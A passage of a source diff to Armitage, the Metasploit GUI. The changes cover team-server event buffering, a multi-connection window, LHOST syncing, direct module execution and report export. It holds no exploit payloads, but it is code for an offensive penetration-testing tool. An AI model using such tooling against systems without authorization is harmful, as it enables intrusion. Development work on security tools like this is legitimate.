[new JButton: "Crack Passwords"]; diff --git a/external/source/armitage/scripts/pivots.sl b/external/source/armitage/scripts/pivots.sl index 3a5e117f4a..3adbfe450b 100644 --- a/external/source/armitage/scripts/pivots.sl +++ b/external/source/armitage/scripts/pivots.sl @@ -107,10 +107,10 @@ sub pivot_dialog { } local('$dialog $model $table $sorter $center $a $route $button'); - $dialog = [new JDialog: $frame, $title, 0]; + $dialog = [new JDialog: $__frame__, $title, 0]; [$dialog setSize: 320, 240]; [$dialog setLayout: [new BorderLayout]]; - [$dialog setLocationRelativeTo: $frame]; + [$dialog setLocationRelativeTo: $__frame__]; [$dialog setLayout: [new BorderLayout]]; diff --git a/external/source/armitage/scripts/reporting.sl b/external/source/armitage/scripts/reporting.sl index a6a7ac5dfb..1995e0686e 100644 --- a/external/source/armitage/scripts/reporting.sl +++ b/external/source/armitage/scripts/reporting.sl @@ -182,28 +182,21 @@ sub queryData { [$progress setProgress: 30]; } - # 4. clients - %r['clients'] = call($mclient, "db.clients")["clients"]; - - if ($progress) { - [$progress setProgress: 35]; - } - - # 5. sessions... + # 4. sessions... %r['sessions'] = fixSessions(call($mclient, "db.sessions")["sessions"]); if ($progress) { [$progress setProgress: 36]; } - # 6. timeline + # 5. timeline %r['timeline'] = fixTimeline(call($mclient, "db.events")['events']); if ($progress) { [$progress setProgress: 38]; } - # 7. hosts and services + # 6. hosts and services local('@hosts @services $temp $h $s $x'); call($mclient, "armitage.prep_export", $1); @@ -291,32 +284,27 @@ sub _generateArtifacts { [$progress setProgress: 65]; - # 4. clients - dumpData("clients", @("host", "created_at", "updated_at", "ua_name", "ua_ver", "ua_string"), %data['clients']); - - [$progress setProgress: 70]; - - # 5. hosts + # 4. hosts dumpData("hosts", @("address", "mac", "state", "address", "address6", "name", "purpose", "info", "os_name", "os_flavor", "os_sp", "os_lang", "os_match", "created_at", "updated_at"), %data['hosts']); [$progress setProgress: 80]; - # 6. services + # 5. services dumpData("services", @("host", "port", "state", "proto", "name", "created_at", "updated_at", "info"), %data['services']); [$progress setProgress: 90]; - # 7. sessions + # 6. sessions dumpData("sessions", @("host", "local_id", "stype", "platform", "via_payload", "via_exploit", "opened_at", "last_seen", "closed_at", "close_reason"), %data['sessions']); [$progress setProgress: 93]; - # 8. timeline + # 7. timeline dumpData("timeline", @("source", "username", "created_at", "info"), %data['timeline']); [$progress setProgress: 96]; - # 9. take a pretty screenshot of the graph view... + # 8. take a pretty screenshot of the graph view... [$progress setNote: "host picture :)"]; makeScreenshot("hosts.png"); @@ -330,7 +318,7 @@ sub _generateArtifacts { fire_event_async("user_export", %data); - return getFileProper(dataDirectory(), formatDate("yyMMdd"), "artifacts"); + return getFileProper(dataDirectory(), formatDate("yyMMdd"), $DESCRIBE, "artifacts"); } # @@ -368,8 +356,6 @@ sub api_export_data { } sub initReporting { - global('$poll_lock @events'); # set in the dserver, not in stand-alone Armitage - wait(fork({ global('$db'); [$client addHook: "armitage.export_data", &api_export_data]; diff --git a/external/source/armitage/scripts/server.sl b/external/source/armitage/scripts/server.sl index 1ea04e9671..4dcf4cd84d 100644 --- a/external/source/armitage/scripts/server.sl +++ b/external/source/armitage/scripts/server.sl @@ -35,9 +35,7 @@ sub result { sub event { local('$result'); $result = formatDate("HH:mm:ss") . " $1"; - acquire($poll_lock); - push(@events, $result); - release($poll_lock); + [$events put: $result]; } sub client { @@ -96,16 +94,6 @@ sub client { [[$handle getOutputStream] flush]; } - # limit our replay of the event log to 100 events... - acquire($poll_lock); - if (size(@events) > 100) { - $index = size(@events) - 100; - } - else { - $index = 0; - } - release($poll_lock); - # # on our merry way processing it... # @@ -183,33 +171,30 @@ sub client { else if ($method eq "armitage.log") { ($data, $address) = $args; event("* $eid $data $+ \n"); + if ($address is $null) { + $address = [$client getLocalAddress]; + } call_async($client, "db.log_event", "$address $+ // $+ $eid", $data); writeObject($handle, result(%())); } else if ($method eq "armitage.skip") { - acquire($poll_lock); - $index = size(@events); - release($poll_lock); + [$events get: $eid]; writeObject($handle, result(%())); } else if ($method eq "armitage.poll" || $method eq "armitage.push") { - acquire($poll_lock); if ($method eq "armitage.push") { ($null, $data) = $args; foreach $temp (split("\n", $data)) { - push(@events, formatDate("HH:mm:ss") . " < $+ $[10]eid $+ > " . $data); + [$events put: formatDate("HH:mm:ss") . " < $+ $[10]eid $+ > " . $data]; } } - if (size(@events) > $index) { - $rv = result(%(data => join("", sublist(@events, $index)), encoding => "base64", prompt => "$eid $+ > ")); - $index = size(@events); - } - else { - $rv = result(%(data => "", prompt => "$eid $+ > ", encoding => "base64")); - } - release($poll_lock); - + $rv = result(%(data => [$events get: $eid], encoding => "base64", prompt => "$eid $+ > ")); + writeObject($handle, $rv); + } + else if ($method eq "armitage.lusers") { + $rv = [new HashMap]; + [$rv put: "lusers", [$events clients]]; writeObject($handle, $rv); } else if ($method eq "armitage.append") { @@ -308,6 +293,10 @@ sub client { $response = [$client execute: $method, cast($args, ^Object)]; writeObject($handle, $response); } + else if ($method eq "module.execute_direct") { + $response = [$client execute: "module.execute", cast($args, ^Object)]; + writeObject($handle, $response); + } else if ($method in %async) { if ($args) { [$client execute_async: $method, cast($args, ^Object)]; @@ -333,6 +322,7 @@ sub client { if ($eid !is $null) { event("*** $eid left.\n"); + [$events free: $eid]; } # reset the user's filter... @@ -355,7 +345,7 @@ sub client { sub main { global('$client $mclient'); - local('$server %sessions $sess_lock $read_lock $poll_lock $lock_lock %locks %readq $id @events $error $auth %cache $cach_lock $client_cache $handle $console'); + local('$server %sessions $sess_lock $read_lock $lock_lock %locks %readq $id $error $auth %cache $cach_lock $client_cache $handle $console $events'); $auth = unpack("H*", digest(rand() . ticks(), "MD5"))[0]; @@ -413,10 +403,12 @@ sub main { # $sess_lock = semaphore(1); $read_lock = semaphore(1); - $poll_lock = semaphore(1); $lock_lock = semaphore(1); $cach_lock = semaphore(1); + # setup any shared buffers... + $events = [new armitage.ArmitageBuffer: 250]; + # set the LHOST to whatever the user specified (use console.write to make the string not UTF-8) $console = createConsole($client); call($client, "console.write", $console, "setg LHOST $host $+ \n"); @@ -424,6 +416,9 @@ sub main { # absorb the output of this command which is LHOST => ... call($client, "console.read", $console); + # update server's understanding of this value... + call($client, "armitage.set_ip", $host); + # # create a thread to push console messages to the event queue for all clients. # @@ -433,12 +428,10 @@ sub main { sleep(2000); $r = call($client, "console.read", $console); if ($r["data"] ne "") { - acquire($poll_lock); - push(@events, formatDate("HH:mm:ss") . " " . $r["data"]); - release($poll_lock); + [$events put: formatDate("HH:mm:ss") . " " . $r["data"]]; } } - }, \$client, \$poll_lock, \@events, \$console); + }, \$client, \$events, \$console); # # Create a shared hash that contains a thread for each session... @@ -535,7 +528,7 @@ service framework-postgres start"); $handle = [$server accept]; if ($handle !is $null) { %readq[$id] = %(); - fork(&client, \$client, \$handle, \%sessions, \$read_lock, \$sess_lock, \$poll_lock, $queue => %readq[$id], \$id, \@events, \$auth, \%locks, \$lock_lock, \$cach_lock, \%cache, \$motd, \$client_cache, $_user => $user, $_pass => $pass); + fork(&client, \$client, \$handle, \%sessions, \$read_lock, \$sess_lock, $queue => %readq[$id], \$id, \$events, \$auth, \%locks, \$lock_lock, \$cach_lock, \%cache, \$motd, \$client_cache, $_user => $user, $_pass => $pass); $id++; } diff --git a/external/source/armitage/scripts/targets.sl b/external/source/armitage/scripts/targets.sl index 3721006ea7..797174c255 100644 --- a/external/source/armitage/scripts/targets.sl +++ b/external/source/armitage/scripts/targets.sl @@ -193,6 +193,11 @@ on hosts { $address = $host['address']; if ($address in %hosts && size(%hosts[$address]) > 1) { %newh[$address] = %hosts[$address]; + + # set the label to empty b/c team server won't add labels if there are no labels. This fixes + # a corner case where a user might clear all labels and find they won't go away + %newh[$address]['label'] = ''; + putAll(%newh[$address], keys($host), values($host)); if ($host['os_name'] eq "") { @@ -262,7 +267,7 @@ sub _importHosts { } $console = createDisplayTab("Import", $file => "import"); - [$console addCommand: $null, "db_import " . strrep(join(" ", $files), "\\", "\\\\")]; + [$console addCommand: 'x', "db_import " . strrep(join(" ", $files), "\\", "\\\\")]; [$console addListener: lambda({ elog("imported hosts from $success file" . iff($success != 1, "s")); }, \$success)]; @@ -346,8 +351,10 @@ sub clearHostFunction { } sub clearDatabase { - elog("cleared the database"); - call_async($mclient, "db.clear"); + if (!askYesNo("This action will clear the database. You will lose all information\ncollected up to this point. You will not be able toget it back.\nWould you like to clear the database?", "Clear Database")) { + elog("cleared the database"); + call_async($mclient, "db.clear"); + } } # called when a target is clicked on... diff --git a/external/source/armitage/scripts/util.sl b/external/source/armitage/scripts/util.sl index de80e1d8d3..b226c1edc2 100644 --- a/external/source/armitage/scripts/util.sl +++ b/external/source/armitage/scripts/util.sl @@ -151,6 +151,11 @@ sub createConsoleTab { } sub setg { + # update team server's understanding of LHOST + if ($1 eq "LHOST") { + call_async($client, "armitage.set_ip", $2); + } + %MSF_GLOBAL[$1] = $2; local('$c'); $c = createConsole($client); @@ -381,7 +386,7 @@ sub connectDialog { $msfrpc_handle = $null; } - local('$dialog $host $port $ssl $user $pass $button $cancel $start $center $help $helper'); + local('$dialog $host $port $ssl $user $pass $button $start $center $help $helper'); $dialog = window("Connect...", 0, 0); # setup our nifty form fields.. @@ -398,8 +403,6 @@ sub connectDialog { $help = [new JButton: "Help"]; [$help setToolTipText: "Use this button to view the Getting Started Guide on the Armitage homepage"]; - $cancel = [new JButton: "Exit"]; - # lay them out $center = [new JPanel]; @@ -422,9 +425,14 @@ sub connectDialog { ($h, $p, $u, $s) = @o; [$dialog setVisible: 0]; - connectToMetasploit($h, $p, $u, $s); if ($h eq "127.0.0.1" || $h eq "::1" || $h eq "localhost") { + if ($__frame__ && [$__frame__ checkLocal]) { + showError("You can't connect to localhost twice"); + [$dialog setVisible: 1]; + return; + } + try { closef(connect("127.0.0.1", $p, 1000)); } @@ -434,37 +442,33 @@ sub connectDialog { } } } + + connectToMetasploit($h, $p, $u, $s); }, \$dialog, \$host, \$port, \$user, \$pass)]; [$help addActionListener: gotoURL("http://www.fastandeasyhacking.com/start")]; - [$cancel addActionListener: { - [System exit: 0]; - }]; - [$dialog pack]; [$dialog setLocationRelativeTo: $null]; [$dialog setVisible: 1]; } -sub _elog { +sub elog { + local('$2'); if ($client !is $mclient) { + # $2 can be NULL here. team server will populate it... call_async($mclient, "armitage.log", $1, $2); } else { + # since we're not on a team server, no one else will have + # overwritten LHOST, so we can trust $MY_ADDRESS to be current + if ($2 is $null) { + $2 = $MY_ADDRESS; + } call_async($client, "db.log_event", "$2 $+ //", $1); } } -sub elog { - local('$2'); - if ($2 is $null) { - $2 = $MY_ADDRESS; - } - - _elog($1, $2); -} - sub module_execute { return invoke(&_module_execute, filter_data_array("user_launch", @_)); } diff --git a/external/source/armitage/src/armitage/ArmitageApplication.java b/external/source/armitage/src/armitage/ArmitageApplication.java index b7365e1309..84fe420c76 100644 --- a/external/source/armitage/src/armitage/ArmitageApplication.java +++ b/external/source/armitage/src/armitage/ArmitageApplication.java @@ -13,13 +13,32 @@ import cortana.gui.MenuBuilder; import ui.*; -public class ArmitageApplication extends JFrame { +public class ArmitageApplication extends JComponent { protected JTabbedPane tabs = null; protected JSplitPane split = null; protected JMenuBar menus = new JMenuBar(); protected ScreenshotManager screens = null; protected KeyBindings keys = new KeyBindings(); protected MenuBuilder builder = null; + protected String title = ""; + protected MultiFrame window = null; + + public KeyBindings getBindings() { + return keys; + } + + public void setTitle(String title) { + this.title = title; + window.setTitle(this, title); + } + + public String getTitle() { + return title; + } + + public void setIconImage(Image blah) { + window.setIconImage(blah); + } public void setScreenshotManager(ScreenshotManager m) { screens = m; @@ -192,7 +211,7 @@ public class ArmitageApplication extends JFrame { /* pop goes the tab! */ final JFrame r = new JFrame(t.title); - r.setIconImages(getIconImages()); + //r.setIconImages(getIconImages()); r.setLayout(new BorderLayout()); r.add(t.component, BorderLayout.CENTER); r.pack(); @@ -366,8 +385,20 @@ public class ArmitageApplication extends JFrame { component.requestFocusInWindow(); } - public ArmitageApplication() { + public void touch() { + Component c = tabs.getSelectedComponent(); + if (c == null) + return; + + if (c instanceof Activity) + ((Activity)c).resetNotification(); + + c.requestFocusInWindow(); + } + + public ArmitageApplication(MultiFrame f, String details, msf.RpcConnection conn) { super(); + window = f; tabs = new DraggableTabbedPane(); setLayout(new BorderLayout()); @@ -383,10 +414,8 @@ public class ArmitageApplication extends JFrame { /* add our tabbed pane */ add(split, BorderLayout.CENTER); - /* setup our key bindings */ - KeyboardFocusManager.getCurrentKeyboardFocusManager().addKeyEventDispatcher(keys); - /* ... */ - setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); + //setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); + ((ui.MultiFrame)window).addButton(details, this, conn); } } diff --git a/external/source/armitage/src/armitage/ArmitageBuffer.java b/external/source/armitage/src/armitage/ArmitageBuffer.java new file mode 100644 index 0000000000..22731f671f --- /dev/null +++ b/external/source/armitage/src/armitage/ArmitageBuffer.java @@ -0,0 +1,138 @@ +package armitage; + +import java.util.*; + +/* + * Implement a thread safe store that any client may write to and + * any client may read from (keeping track of their cursor into + * the console) + */ +public class ArmitageBuffer { + private static final class Message { + public String message = null; + public Message next = null; + } + + /* store our messages... */ + public Message first = null; + public Message last = null; + public long size = 0; + public long max = 0; + public String prompt = ""; + + /* store indices into this buffer */ + public Map indices = new HashMap(); + + /* setup the buffer?!? :) */ + public ArmitageBuffer(long max) { + this.max = max; + } + + /* store a prompt with this buffer... we're not going to do any indexing magic for now */ + public String getPrompt() { + synchronized (this) { + return prompt; + } + } + + /* set the prompt */ + public void setPrompt(String text) { + synchronized (this) { + prompt = text; + } + } + + /* post a message to this buffer */ + public void put(String text) { + synchronized (this) { + /* create our message */ + Message m = new Message(); + m.message = text; + + /* store our message */ + if (last == null && first == null) { + first = m; + last = m; + } + else { + last.next = m; + last = m; + } + + /* increment number of stored messages */ + size += 1; + + /* limit the total number of past messages to the max size */ + if (size > max) { + first = first.next; + } + } + } + + /* retrieve a set of all clients consuming this buffer */ + public Collection clients() { + synchronized (this) { + LinkedList clients = new LinkedList(indices.keySet()); + return clients; + } + } + + /* free a client */ + public void free(String id) { + synchronized (this) { + indices.remove(id); + } + } + + /* reset our indices too */ + public void reset() { + synchronized (this) { + first = null; + last = null; + indices.clear(); + size = 0; + } + } + + /* retrieve all messages available to the client (if any) */ + public String get(String id) { + synchronized (this) { + /* nadaz */ + if (first == null) + return ""; + + /* get our index into the buffer */ + Message index = null; + if (!indices.containsKey(id)) { + index = first; + } + else { + index = (Message)indices.get(id); + + /* nothing happening */ + if (index.next == null) + return ""; + + index = index.next; + } + + /* now let's walk through it */ + StringBuffer result = new StringBuffer(); + Message temp = index; + while (temp != null) { + result.append(temp.message); + index = temp; + temp = temp.next; + } + + /* store our index */ + indices.put(id, index); + + return result.toString(); + } + } + + public String toString() { + return "[" + size + " messages]"; + } +} diff --git a/external/source/armitage/src/armitage/ArmitageMain.java b/external/source/armitage/src/armitage/ArmitageMain.java index 3feb310ee0..eb8d8295c2 100644 --- a/external/source/armitage/src/armitage/ArmitageMain.java +++ b/external/source/armitage/src/armitage/ArmitageMain.java @@ -9,10 +9,10 @@ import sleep.engine.*; import sleep.parser.ParserConfig; import java.util.*; - import java.io.*; import cortana.core.*; +import ui.*; /** * This class launches Armitage and loads the scripts that are part of it. @@ -101,7 +101,7 @@ public class ArmitageMain implements RuntimeWarningWatcher, Loadable, Function { }; } - public ArmitageMain(String[] args) { + public ArmitageMain(String[] args, MultiFrame window, boolean serverMode) { /* tweak the parser to recognize a few useful escapes */ ParserConfig.installEscapeConstant('c', console.Colors.color + ""); ParserConfig.installEscapeConstant('U', console.Colors.underline + ""); @@ -118,15 +118,6 @@ public class ArmitageMain implements RuntimeWarningWatcher, Loadable, Function { ScriptLoader loader = new ScriptLoader(); loader.addSpecificBridge(this); - /* check for server mode option */ - boolean serverMode = false; - - int x = 0; - for (x = 0; x < args.length; x++) { - if (args[x].equals("--server")) - serverMode = true; - } - /* setup Cortana event and filter bridges... we will install these into Armitage */ if (!serverMode) { @@ -135,6 +126,7 @@ public class ArmitageMain implements RuntimeWarningWatcher, Loadable, Function { variables.putScalar("$__events__", SleepUtils.getScalar(events)); variables.putScalar("$__filters__", SleepUtils.getScalar(filters)); + variables.putScalar("$__frame__", SleepUtils.getScalar(window)); loader.addGlobalBridge(events.getBridge()); loader.addGlobalBridge(filters.getBridge()); @@ -142,7 +134,7 @@ public class ArmitageMain implements RuntimeWarningWatcher, Loadable, Function { /* load the appropriate scripts */ String[] scripts = serverMode ? getServerScripts() : getGUIScripts(); - + int x = -1; try { for (x = 0; x < scripts.length; x++) { InputStream i = this.getClass().getClassLoader().getResourceAsStream(scripts[x]); @@ -161,6 +153,23 @@ public class ArmitageMain implements RuntimeWarningWatcher, Loadable, Function { } public static void main(String args[]) { - new ArmitageMain(args); + /* check for server mode option */ + boolean serverMode = false; + + int x = 0; + for (x = 0; x < args.length; x++) { + if (args[x].equals("--server")) + serverMode = true; + } + + /* setup our armitage instance */ + if (serverMode) { + new ArmitageMain(args, null, serverMode); + } + else { + MultiFrame.setupLookAndFeel(); + MultiFrame frame = new MultiFrame(); + new ArmitageMain(args, frame, serverMode); + } } } diff --git a/external/source/armitage/src/armitage/EventLogTabCompletion.java b/external/source/armitage/src/armitage/EventLogTabCompletion.java new file mode 100644 index 0000000000..6fa7fddee8 --- /dev/null +++ b/external/source/armitage/src/armitage/EventLogTabCompletion.java @@ -0,0 +1,60 @@ +package armitage; + +import console.Console; +import msf.*; +import java.util.*; +import java.awt.*; +import java.awt.event.*; +import javax.swing.*; + +import java.io.IOException; + +public class EventLogTabCompletion extends GenericTabCompletion { + protected RpcConnection connection; + + public EventLogTabCompletion(Console window, RpcConnection connection) { + super(window); + this.connection = connection; + } + + public Collection getOptions(String text) { + try { + Map response = (Map)connection.execute("armitage.lusers", new Object[] {}); + + if (response.get("lusers") == null) + return null; + + Iterator users = ((Collection)response.get("lusers")).iterator(); + + LinkedList options = new LinkedList(); + String word; + String pre; + + if (text.endsWith(" ")) { + word = ""; + pre = text; + } + if (text.lastIndexOf(" ") != -1) { + word = text.substring(text.lastIndexOf(" ") + 1); + pre = text.substring(0, text.lastIndexOf(" ") + 1); + } + else { + word = text; + pre = ""; + } + + while (users.hasNext()) { + String user = users.next() + ""; + if (user.startsWith(word)) { + options.add(pre + user); + } + } + + return options; + } + catch (IOException ioex) { + ioex.printStackTrace(); + } + return null; + } +} diff --git a/external/source/armitage/src/msf/DatabaseImpl.java b/external/source/armitage/src/msf/DatabaseImpl.java index ff00d4d877..ee58207c2e 100644 --- a/external/source/armitage/src/msf/DatabaseImpl.java +++ b/external/source/armitage/src/msf/DatabaseImpl.java @@ -310,13 +310,13 @@ public class DatabaseImpl implements RpcConnection { if (hFilter.indexOf("sessions.") >= 0) tables.add("sessions"); - temp.put("db.hosts", "SELECT DISTINCT hosts.* FROM " + join(tables, ", ") + " WHERE hosts.workspace_id = " + workspaceid + " AND " + hFilter + " ORDER BY hosts.id ASC LIMIT " + limit1 + " OFFSET " + (limit1 * hindex)); + temp.put("db.hosts", "SELECT DISTINCT hosts.id, hosts.updated_at, hosts.state, hosts.mac, hosts.purpose, hosts.os_flavor, hosts.os_name, hosts.address, hosts.os_sp FROM " + join(tables, ", ") + " WHERE hosts.workspace_id = " + workspaceid + " AND " + hFilter + " ORDER BY hosts.id ASC LIMIT " + limit1 + " OFFSET " + (limit1 * hindex)); } else { - temp.put("db.hosts", "SELECT DISTINCT hosts.* FROM hosts WHERE hosts.workspace_id = " + workspaceid + " ORDER BY hosts.id ASC LIMIT " + limit1 + " OFFSET " + (hindex * limit1)); + temp.put("db.hosts", "SELECT DISTINCT hosts.id, hosts.updated_at, hosts.state, hosts.mac, hosts.purpose, hosts.os_flavor, hosts.os_name, hosts.address, hosts.os_sp FROM hosts WHERE hosts.workspace_id = " + workspaceid + " ORDER BY hosts.id ASC LIMIT " + limit1 + " OFFSET " + (hindex * limit1)); } - temp.put("db.services", "SELECT DISTINCT services.*, hosts.address as host FROM services, (" + temp.get("db.hosts") + ") as hosts WHERE hosts.id = services.host_id AND services.state = 'open' ORDER BY services.id ASC LIMIT " + limit2 + " OFFSET " + (limit2 * sindex)); + temp.put("db.services", "SELECT DISTINCT services.id, services.name, services.port, services.proto, services.info, services.updated_at, hosts.address as host FROM services, (" + temp.get("db.hosts") + ") as hosts WHERE hosts.id = services.host_id AND services.state = 'open' ORDER BY services.id ASC LIMIT " + limit2 + " OFFSET " + (limit2 * sindex)); temp.put("db.loots", "SELECT DISTINCT loots.*, hosts.address as host FROM loots, hosts WHERE hosts.id = loots.host_id AND hosts.workspace_id = " + workspaceid); temp.put("db.workspaces", "SELECT DISTINCT * FROM workspaces"); temp.put("db.notes", "SELECT DISTINCT notes.*, hosts.address as host FROM notes, hosts WHERE hosts.id = notes.host_id AND hosts.workspace_id = " + workspaceid); @@ -412,6 +412,10 @@ public class DatabaseImpl implements RpcConnection { return new HashMap(); } else if (methodName.equals("db.clear")) { + /* clear our local cache of labels */ + labels = new HashMap(); + + /* clear the database */ executeUpdate( "BEGIN;" + "DELETE FROM hosts;" + diff --git a/external/source/armitage/src/msf/RpcAsync.java b/external/source/armitage/src/msf/RpcAsync.java index c7663ddbcd..fe0daf7a4e 100644 --- a/external/source/armitage/src/msf/RpcAsync.java +++ b/external/source/armitage/src/msf/RpcAsync.java @@ -32,7 +32,7 @@ public class RpcAsync implements RpcConnection, Async { if (methodName.equals("module.info") || methodName.equals("module.options") || methodName.equals("module.compatible_payloads")) { StringBuilder keysb = new StringBuilder(methodName); - for(int i = 1; i < params.length; i++) + for(int i = 0; i < params.length; i++) keysb.append(params[i].toString()); String key = keysb.toString(); diff --git a/external/source/armitage/src/msf/RpcConnectionImpl.java b/external/source/armitage/src/msf/RpcConnectionImpl.java index f7ba43d048..d784ab17b7 100644 --- a/external/source/armitage/src/msf/RpcConnectionImpl.java +++ b/external/source/armitage/src/msf/RpcConnectionImpl.java @@ -84,12 +84,40 @@ public abstract class RpcConnectionImpl implements RpcConnection, Async { } protected HashMap locks = new HashMap(); + protected String address = ""; + + public String getLocalAddress() { + return address; + } /** Adds token, runs command, and notifies logger on call and return */ public Object execute(String methodName, Object[] params) throws IOException { if (database != null && "db.".equals(methodName.substring(0, 3))) { return database.execute(methodName, params); } + else if (methodName.equals("armitage.ping")) { + try { + long time = System.currentTimeMillis() - Long.parseLong(params[0] + ""); + + HashMap res = new HashMap(); + res.put("result", time + ""); + return res; + } + catch (Exception ex) { + HashMap res = new HashMap(); + res.put("result", "0"); + return res; + } + } + else if (methodName.equals("armitage.my_ip")) { + HashMap res = new HashMap(); + res.put("result", address); + return res; + } + else if (methodName.equals("armitage.set_ip")) { + address = params[0] + ""; + return new HashMap(); + } else if (methodName.equals("armitage.lock")) { if (locks.containsKey(params[0] + "")) { Map res = new HashMap(); diff --git a/external/source/armitage/src/msf/RpcQueue.java b/external/source/armitage/src/msf/RpcQueue.java index ba657c2671..b56d2a2135 100644 --- a/external/source/armitage/src/msf/RpcQueue.java +++ b/external/source/armitage/src/msf/RpcQueue.java @@ -66,7 +66,7 @@ public class RpcQueue implements Runnable { Thread.sleep(50); } else { - Thread.sleep(500); + Thread.sleep(200); } } } diff --git a/external/source/armitage/src/table/NetworkTable.java b/external/source/armitage/src/table/NetworkTable.java index 2d7590db0e..c89bd97dbb 100644 --- a/external/source/armitage/src/table/NetworkTable.java +++ b/external/source/armitage/src/table/NetworkTable.java @@ -1,11 +1,11 @@ package table; -import javax.swing.*; -import javax.swing.event.*; +import javax.swing.*; +import javax.swing.event.*; import javax.swing.border.*; import javax.swing.table.*; -import java.awt.*; +import java.awt.*; import java.awt.event.*; import java.awt.image.*; @@ -92,7 +92,7 @@ public class NetworkTable extends JComponent implements ActionListener { table.getColumn("Description").setPreferredWidth(500); final TableCellRenderer parent = table.getDefaultRenderer(Object.class); - table.setDefaultRenderer(Object.class, new TableCellRenderer() { + final TableCellRenderer phear = new TableCellRenderer() { public Component getTableCellRendererComponent(JTable table, Object value, boolean isSelected, boolean hasFocus, int row, int col) { JLabel component = (JLabel)parent.getTableCellRendererComponent(table, value, isSelected, false, row, col); @@ -111,9 +111,15 @@ public class NetworkTable extends JComponent implements ActionListener { if (tip.length() > 0) { component.setToolTipText(tip); } + return component; } - }); + }; + + table.getColumn("Address").setCellRenderer(phear); + table.getColumn("Label").setCellRenderer(phear); + table.getColumn("Description").setCellRenderer(phear); + table.getColumn("Pivot").setCellRenderer(phear); table.getColumn(" ").setCellRenderer(new TableCellRenderer() { public Component getTableCellRendererComponent(JTable table, Object value, boolean isSelected, boolean hasFocus, int row, int col) { diff --git a/external/source/armitage/src/ui/MultiFrame.java b/external/source/armitage/src/ui/MultiFrame.java new file mode 100644 index 0000000000..96bea014f1 --- /dev/null +++ b/external/source/armitage/src/ui/MultiFrame.java @@ -0,0 +1,238 @@ +package ui; + +import javax.swing.*; +import javax.swing.event.*; + +import java.awt.*; +import java.awt.event.*; + +import java.util.*; + +import armitage.ArmitageApplication; +import msf.*; + +/* A class to host multiple Armitage instances in one frame. Srsly */ +public class MultiFrame extends JFrame implements KeyEventDispatcher { + protected JToolBar toolbar; + protected JPanel content; + protected CardLayout cards; + protected LinkedList buttons; + + private static class ArmitageInstance { + public ArmitageApplication app; + public JToggleButton button; + public RpcConnection client; + } + + public Map getClients() { + synchronized (buttons) { + Map r = new HashMap(); + + Iterator i = buttons.iterator(); + while (i.hasNext()) { + ArmitageInstance temp = (ArmitageInstance)i.next(); + r.put(temp.button.getText(), temp.client); + } + return r; + } + } + + public void setTitle(ArmitageApplication app, String title) { + if (active == app) + setTitle(title); + } + + protected ArmitageApplication active; + + /* is localhost running? */ + public boolean checkLocal() { + synchronized (buttons) { + Iterator i = buttons.iterator(); + while (i.hasNext()) { + ArmitageInstance temp = (ArmitageInstance)i.next(); + if ("localhost".equals(temp.button.getText())) { + return true; + } + } + return false; + } + } + + public boolean dispatchKeyEvent(KeyEvent ev) { + if (active != null) { + return active.getBindings().dispatchKeyEvent(ev); + } + return false; + } + + public static final void setupLookAndFeel() { + try { + for (UIManager.LookAndFeelInfo info : UIManager.getInstalledLookAndFeels()) { + if ("Nimbus".equals(info.getName())) { + UIManager.setLookAndFeel(info.getClassName()); + break; + } + } + } + catch (Exception e) { + } + } + + public void closeConnect() { + synchronized (buttons) { + if (buttons.size() == 0) { + System.exit(0); + } + } + } + + public void quit() { + synchronized (buttons) { + ArmitageInstance temp = null; + content.remove(active); + Iterator i = buttons.iterator(); + while (i.hasNext()) { + temp = (ArmitageInstance)i.next(); + if (temp.app == active) { + toolbar.remove(temp.button); + i.remove(); + break; + } + } + + if (buttons.size() == 0) { + System.exit(0); + } + else if (buttons.size() == 1) { + remove(toolbar); + validate(); + } + + if (i.hasNext()) { + temp = (ArmitageInstance)i.next(); + } + else { + temp = (ArmitageInstance)buttons.getFirst(); + } + + set(temp.button); + } + } + + public MultiFrame() { + super(""); + + setLayout(new BorderLayout()); + + /* setup our toolbar */ + toolbar = new JToolBar(); + + /* content area */ + content = new JPanel(); + cards = new CardLayout(); + content.setLayout(cards); + + /* setup our stuff */ + add(content, BorderLayout.CENTER); + + /* buttons?!? :) */ + buttons = new LinkedList(); + + /* do this ... */ + setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); + + /* some basic setup */ + setSize(800, 600); + setExtendedState(JFrame.MAXIMIZED_BOTH); + + /* all your keyboard shortcuts are belong to me */ + KeyboardFocusManager.getCurrentKeyboardFocusManager().addKeyEventDispatcher(this); + } + + protected void set(JToggleButton button) { + synchronized (buttons) { + /* set all buttons to the right state */ + Iterator i = buttons.iterator(); + while (i.hasNext()) { + ArmitageInstance temp = (ArmitageInstance)i.next(); + if (temp.button.getText().equals(button.getText())) { + temp.button.setSelected(true); + active = temp.app; + setTitle(active.getTitle()); + } + else { + temp.button.setSelected(false); + } + } + + /* show our cards? */ + cards.show(content, button.getText()); + active.touch(); + } + } + + public void addButton(String title, final ArmitageApplication component, RpcConnection conn) { + synchronized (buttons) { + final ArmitageInstance a = new ArmitageInstance(); + a.button = new JToggleButton(title); + a.button.setToolTipText(title); + a.app = component; + a.client = conn; + + a.button.addActionListener(new ActionListener() { + public void actionPerformed(ActionEvent ev) { + set((JToggleButton)ev.getSource()); + } + }); + + a.button.addMouseListener(new MouseAdapter() { + public void check(MouseEvent ev) { + if (ev.isPopupTrigger()) { + final JToggleButton source = a.button; + JPopupMenu popup = new JPopupMenu(); + JMenuItem rename = new JMenuItem("Rename"); + rename.addActionListener(new ActionListener() { + public void actionPerformed(ActionEvent ev) { + String name = JOptionPane.showInputDialog("Rename to?", source.getText()); + if (name != null) { + content.remove(component); + content.add(component, name); + source.setText(name); + set(source); + } + } + }); + popup.add(rename); + popup.show((JComponent)ev.getSource(), ev.getX(), ev.getY()); + ev.consume(); + } + } + + public void mouseClicked(MouseEvent ev) { + check(ev); + } + + public void mousePressed(MouseEvent ev) { + check(ev); + } + + public void mouseReleased(MouseEvent ev) { + check(ev); + } + }); + + toolbar.add(a.button); + content.add(component, title); + buttons.add(a); + set(a.button); + + if (buttons.size() == 1) { + show(); + } + else if (buttons.size() == 2) { + add(toolbar, BorderLayout.SOUTH); + } + validate(); + } + } +} diff --git a/external/source/armitage/whatsnew.txt b/external/source/armitage/whatsnew.txt index c1e03e579b..55804871ff 100644 --- a/external/source/armitage/whatsnew.txt +++ b/external/source/armitage/whatsnew.txt @@ -1,6 +1,29 @@ Armitage Changelog ================== +12 Feb 13 (tested against msf 16438) +--------- +- Fixed a corner case preventing the display of removed host labels + when connected to a team server. +- Fixed RPC call cache corruption 